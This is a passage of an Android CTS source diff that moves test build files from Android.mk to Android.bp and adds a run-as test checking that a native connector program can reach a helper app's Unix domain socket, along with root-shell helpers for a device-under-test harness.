-    private String getOdexFilePath() throws DeviceNotAvailableException {
-        // Something like "package:/data/app/android.cts.compilation-1/base.apk"
-        String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
-        Matcher matcher = Pattern.compile("^package:(.+/)base\\.apk$").matcher(pathSpec);
-        boolean found = matcher.find();
-        assertTrue("Malformed spec: " + pathSpec, found);
-        String apkDir = matcher.group(1);
-        // E.g. /data/app/android.cts.compilation-1/oat/arm64/base.odex
-        String result = executeSuShellAdbCommand(1, "find", apkDir, "-name", "base.odex")[0];
-        assertTrue("odex file not found: " + result, doesFileExist(result));
-        return result;
-    }
-
-    /**
-     * Returns whether a test that uses the given profileLocations can run
-     * in the current device configuration. This allows tests to exit early.
-     *
-     * <p>Ideally we'd like tests to be marked as skipped/ignored or similar
-     * rather than passing if they can't run on the current device, but that
-     * doesn't seem to be supported by CTS as of 2016-05-24.
-     * TODO: Use Assume.assumeTrue() if this test gets converted to JUnit 4.
-     */
-    private boolean canRunTest(Set<ProfileLocation> profileLocations) throws Exception {
-        boolean result = mCanEnableDeviceRootAccess &&
-                (profileLocations.isEmpty() || isUseJitProfiles());
-        if (!result) {
-            System.err.printf("Skipping test [mCanEnableDeviceRootAccess=%s, %d profiles] on %s\n",
-                    mCanEnableDeviceRootAccess, profileLocations.size(), mDevice);
-        }
-        return result;
-    }
-
-    private boolean isUseJitProfiles() throws Exception {
-        boolean propUseJitProfiles = Boolean.parseBoolean(
-                executeSuShellAdbCommand(1, "getprop", "dalvik.vm.usejitprofiles")[0]);
-        return propUseJitProfiles;
-    }
-
-    private String[] executeSuShellAdbCommand(int numLinesOutputExpected, String... command)
-            throws DeviceNotAvailableException {
-        String[] lines = executeSuShellAdbCommand(command);
-        assertEquals(
-                String.format(Locale.US, "Expected %d lines output, got %d running %s: %s",
-                        numLinesOutputExpected, lines.length, Arrays.toString(command),
-                        Arrays.toString(lines)),
-                numLinesOutputExpected, lines.length);
-        return lines;
-    }
-
-    private String[] executeSuShellAdbCommand(String... command)
-            throws DeviceNotAvailableException {
-        // Add `shell su root` to the adb command.
-        String cmdString = String.join(" ", command);
-        String output = mDevice.executeShellCommand("su root " + cmdString);
-        // "".split() returns { "" }, but we want an empty array
-        String[] lines = output.equals("") ? new String[0] : output.split("\n");
-        return lines;
-    }
-
-    private String getSelinuxLabel(String path) throws DeviceNotAvailableException {
-        // ls -aZ (-a so it sees directories, -Z so it prints the label).
-        String[] res = executeSuShellAdbCommand(String.format(
-            "ls -aZ '%s'", path));
-
-        if (res.length == 0) {
-          return null;
-        }
-
-        // For directories, it will print many outputs. Filter to first line which contains '.'
-        // The target line will look like
-        //      "u:object_r:shell_data_file:s0 /data/local/tmp/android.cts.compilation.primary.prof"
-        // Remove the second word to only return "u:object_r:shell_data_file:s0".
-
-        return res[0].replaceAll("\\s+.*","");  // remove everything following the first whitespace
-    }
-
-    private void checkSelinuxLabelMatches(String a, String b) throws DeviceNotAvailableException {
-      String labelA = getSelinuxLabel(a);
-      String labelB = getSelinuxLabel(b);
-
-      assertEquals("expected the selinux labels to match", labelA, labelB);
-    }
-
-    private void executePush(String hostPath, String targetPath, String targetDirectory)
-            throws DeviceNotAvailableException {
-        // Cannot push to a privileged directory with one command.
-        // (i.e. there is no single-command equivalent of 'adb root; adb push src dst')
-        //
-        // Push to a tmp directory and then move it to the final destination
-        // after updating the selinux label.
-        String tmpPath = "/data/local/tmp/" + APPLICATION_PACKAGE + ".push.tmp";
-        assertTrue(mDevice.pushFile(new File(hostPath), tmpPath));
-
-        // Important: Use "cp" here because it newly copied files will inherit the security context
-        // of the targetDirectory according to the default policy.
-        //
-        // (Other approaches, such as moving the file retain the invalid security context
-        // of the tmp directory - b/37425296)
-        //
-        // This mimics the behavior of 'adb root; adb push $targetPath'.
-        executeSuShellAdbCommand("mv", tmpPath, targetPath);
-
-        // Important: Use "restorecon" here because the file in tmpPath retains the
-        // incompatible security context of /data/local/tmp.
-        //
-        // This mimics the behavior of 'adb root; adb push $targetPath'.
-        executeSuShellAdbCommand("restorecon", targetPath);
-
-        // Validate that the security context of the file matches the security context
-        // of the directory it was pushed to.
-        //
-        // This is a reasonable default behavior to check because most selinux policies
-        // are configured to behave like this.
-        checkSelinuxLabelMatches(targetDirectory, targetPath);
-    }
-
-    private void executePull(String targetPath, String hostPath)
-            throws DeviceNotAvailableException {
-        String tmpPath = "/data/local/tmp/" + APPLICATION_PACKAGE + ".pull.tmp";
-        executeSuShellAdbCommand("cp", targetPath, tmpPath);
-        try {
-            executeSuShellAdbCommand("chmod", "606", tmpPath);
-            assertTrue(mDevice.pullFile(tmpPath, new File(hostPath)));
-        } finally {
-            executeSuShellAdbCommand("rm", tmpPath);
-        }
-    }
-
-    private boolean doesFileExist(String path) throws DeviceNotAvailableException {
-        String[] result = executeSuShellAdbCommand("ls", path);
-        // Testing for empty directories will return an empty array.
-        return !(result.length > 0 && result[0].contains("No such file"));
-    }
-}
diff --git a/hostsidetests/cpptools/Android.bp b/hostsidetests/cpptools/Android.bp
new file mode 100644
index 0000000..208e734
--- /dev/null
+++ b/hostsidetests/cpptools/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsCppToolsTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "ddmlib-prebuilt",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 8078290..10ba650 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -13,23 +13,4 @@
 # limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsCppToolsTestCases
-
-LOCAL_JAVA_LIBRARIES := ddmlib-prebuilt tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/AndroidTest.xml b/hostsidetests/cpptools/AndroidTest.xml
index 6e60080..58218f1 100644
--- a/hostsidetests/cpptools/AndroidTest.xml
+++ b/hostsidetests/cpptools/AndroidTest.xml
@@ -19,6 +19,12 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCppToolsApp.apk" />
+        <option name="test-file-name" value="CtsDomainSocket.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="connector->/data/local/tmp/connector" />
+        <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCppToolsTestCases.jar" />
diff --git a/hostsidetests/cpptools/app/Android.mk b/hostsidetests/cpptools/app/Android.mk
deleted file mode 100644
index 2719cd9..0000000
--- a/hostsidetests/cpptools/app/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsCppToolsApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
new file mode 100644
index 0000000..d6140f0
--- /dev/null
+++ b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.cpptools;
+
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import org.junit.Test;
+
+/**
+ * Please talk to Android Studio team first if you want to modify or delete
+ * these tests.
+ */
+public final class RunasPermissionsTest extends DeviceTestCase {
+
+    private static final String TEST_APP_PACKAGE = "com.android.cts.domainsocketapp";
+    private static final String TEST_APP_CLASS = "DomainSocketActivity";
+    private static final String CONNECTOR_EXE_NAME = "connector";
+    private static final String START_TEST_APP_COMMAND = String.format("cmd activity start-activity -S -W %s/%s.%s",
+            TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_APP_CLASS);
+    private static final String COPY_CONNECTOR_COMMAND = String
+            .format("run-as %s sh -c 'cp -f /data/local/tmp/%s ./code_cache/'", TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
+    private static final String RUN_CONNECTOR_COMMAND = String.format("run-as %s sh -c './code_cache/%s'",
+            TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
+    // Test app ('DomainSocketActivity') would pass string "Connection Succeeded." to the
+    // connector, and then the connector would append a newline and print it out.
+    private static final String EXPECTED_CONNECTOR_OUTPUT = "Connection Succeeded.\n";
+
+    public void testRunasCanConnectToAppsSocket() throws Exception {
+        // Start the app activity and wait for it to complete.
+        // The app will open a domain socket.
+        getDevice().executeShellCommand(START_TEST_APP_COMMAND);
+
+        // Sleep for 0.3 second (300 milliseconds) so the test app has sufficient time
+        // to open the socket.
+        try {
+            Thread.sleep(300);
+        } catch (InterruptedException e) {
+            // ignored
+        }
+
+        // Start a run-as process that attempts to connect to the socket opened by the
+        // app.
+        getDevice().executeShellCommand(COPY_CONNECTOR_COMMAND);
+        String results = getDevice().executeShellCommand(RUN_CONNECTOR_COMMAND);
+        assertEquals(EXPECTED_CONNECTOR_OUTPUT, results);
+    }
+
+}
diff --git a/hostsidetests/cpptools/test-apps/Android.mk b/hostsidetests/cpptools/test-apps/Android.mk
new file mode 100644
index 0000000..2733252
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/Android.mk
@@ -0,0 +1,23 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
new file mode 100644
index 0000000..f96f5a5
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCppToolsApp",
+    defaults: ["cts_support_defaults"],
+    // Don't include this package in any target.
+    // When built, explicitly put it in the data partition.
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/cpptools/app/AndroidManifest.xml b/hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/cpptools/app/AndroidManifest.xml
rename to hostsidetests/cpptools/test-apps/BasicApp/AndroidManifest.xml
diff --git a/hostsidetests/cpptools/app/src/android/cpptools/app/CppToolsDeviceActivity.java b/hostsidetests/cpptools/test-apps/BasicApp/src/android/cpptools/app/CppToolsDeviceActivity.java
similarity index 100%
rename from hostsidetests/cpptools/app/src/android/cpptools/app/CppToolsDeviceActivity.java
rename to hostsidetests/cpptools/test-apps/BasicApp/src/android/cpptools/app/CppToolsDeviceActivity.java
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
new file mode 100644
index 0000000..4191a78
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
@@ -0,0 +1,26 @@
+# Copyright 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := connector
+LOCAL_SRC_FILES := connector.cpp
+LOCAL_CFLAGS += -Wall -Werror
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/connector.cpp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/connector.cpp
new file mode 100644
index 0000000..7a40414
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/connector.cpp
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <errno.h>
+#include <netinet/in.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <unistd.h>
+
+const char* kDomainSocketName = "@RunasConnectAppSocket";
+
+void SetUnixSocketAddr(const char* name, struct sockaddr_un* addr_un,
+                       socklen_t* addr_len) {
+  memset(addr_un, 0, sizeof(*addr_un));
+  addr_un->sun_family = AF_UNIX;
+  strcpy(addr_un->sun_path, name);
+  *addr_len = offsetof(struct sockaddr_un, sun_path) + strlen(name);
+
+  if (addr_un->sun_path[0] == '@') {
+    addr_un->sun_path[0] = '\0';
+  }
+}
+
+int main() {
+  int fd;
+  struct sockaddr_un addr_un;
+  socklen_t addr_len;
+
+  if ((fd = socket(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0)) == -1) {
+    perror("socket error");
+  }
+
+  SetUnixSocketAddr(kDomainSocketName, &addr_un, &addr_len);
+  if (connect(fd, (struct sockaddr*)&addr_un, addr_len) == -1) {
+    perror("connect error");
+    return EXIT_FAILURE;
+  }
+
+  const int kBufferSize = 128;
+  char buf[kBufferSize];
+  memset(buf, 0, kBufferSize);
+  ssize_t result = TEMP_FAILURE_RETRY(read(fd, buf, kBufferSize - 1));
+  if (result >= 0) {
+    printf("%s\n", buf);
+  } else {
+    printf("[connector] read() failed");
+    return EXIT_FAILURE;
+  }
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
new file mode 100644
index 0000000..d4dab8b
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDomainSocket",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml b/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
new file mode 100644
index 0000000..b37f769
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.domainsocketapp">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <application android:debuggable="true">
+        <activity android:name=".DomainSocketActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/src/com/android/cts/domainsocketapp/DomainSocketActivity.java b/hostsidetests/cpptools/test-apps/DomainSocketApp/src/com/android/cts/domainsocketapp/DomainSocketActivity.java
new file mode 100644
index 0000000..3973fd3
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/src/com/android/cts/domainsocketapp/DomainSocketActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.domainsocketapp;
+
+import android.app.Activity;
+import android.net.LocalServerSocket;
+import android.net.LocalSocket;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.io.OutputStream;
+import java.io.IOException;
+
+public class DomainSocketActivity extends Activity {
+
+    private static final String DOMAIN_SOCKET_NAME = "RunasConnectAppSocket";
+
+    private static final String MAGIC_MESSAGE = "Connection Succeeded.";
+
+    private static final String TAG = DomainSocketActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        new Thread() {
+            public void run() {
+                try {
+                    new LocalServerSocket(DOMAIN_SOCKET_NAME).accept().getOutputStream()
+                            .write(MAGIC_MESSAGE.getBytes());
+                } catch (IOException e) {
+                    Log.e(TAG, e.getMessage());
+                }
+            }
+        }.start();
+    }
+}
diff --git a/hostsidetests/deviceidle/Android.bp b/hostsidetests/deviceidle/Android.bp
new file mode 100644
index 0000000..d7bb076
--- /dev/null
+++ b/hostsidetests/deviceidle/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsDeviceIdleHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/deviceidle/Android.mk b/hostsidetests/deviceidle/Android.mk
deleted file mode 100644
index e73d70f..0000000
--- a/hostsidetests/deviceidle/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsDeviceIdleHostTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.deviceidle
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index f9a861c..343a547 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -14,6 +14,23 @@
 
 LOCAL_PATH:= $(call my-dir)
 
+# $(1) name of the xml file to be created
+# $(2) path to the api text file
+define build_xml_api_file
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-$(subst .,-,$(1))
+LOCAL_MODULE_STEM := $(1)
+LOCAL_MODULE_CLASS := ETC
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+include $(BUILD_SYSTEM)/base_rules.mk
+$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
+	@echo "Convert API file $$< -> $$@"
+	@mkdir -p $$(dir $$@)
+	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+endef
+
+$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
+
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsDevicePolicyManagerTestCases
@@ -30,7 +47,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests
 
 # Need the dependency to build/run the module solely by atest.
-LOCAL_ADDITIONAL_DEPENDENCIES := $(TARGET_OUT_TESTCASES)/cts-current-api/current.api
+LOCAL_TARGET_REQUIRED_MODULES := cts-current-api
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
new file mode 100644
index 0000000..e6edff6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -0,0 +1,76 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAccountCheckTestOnlyOwnerApp",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src-owner/**/*.java"],
+    resource_dirs: ["TestOnlyOwner/res"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    sdk_version: "current",
+    manifest: "TestOnlyOwner/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsAccountCheckNonTestOnlyOwnerApp",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src-owner/**/*.java"],
+    resource_dirs: ["NonTestOnlyOwner/res"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    sdk_version: "current",
+    manifest: "NonTestOnlyOwner/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsAccountCheckTestOnlyOwnerUpdateApp",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src-owner/**/*.java"],
+    resource_dirs: ["TestOnlyOwnerUpdate/res"],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    sdk_version: "current",
+    manifest: "TestOnlyOwnerUpdate/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Android.mk
deleted file mode 100644
index 41a41d0..0000000
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
new file mode 100644
index 0000000..9e9035c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
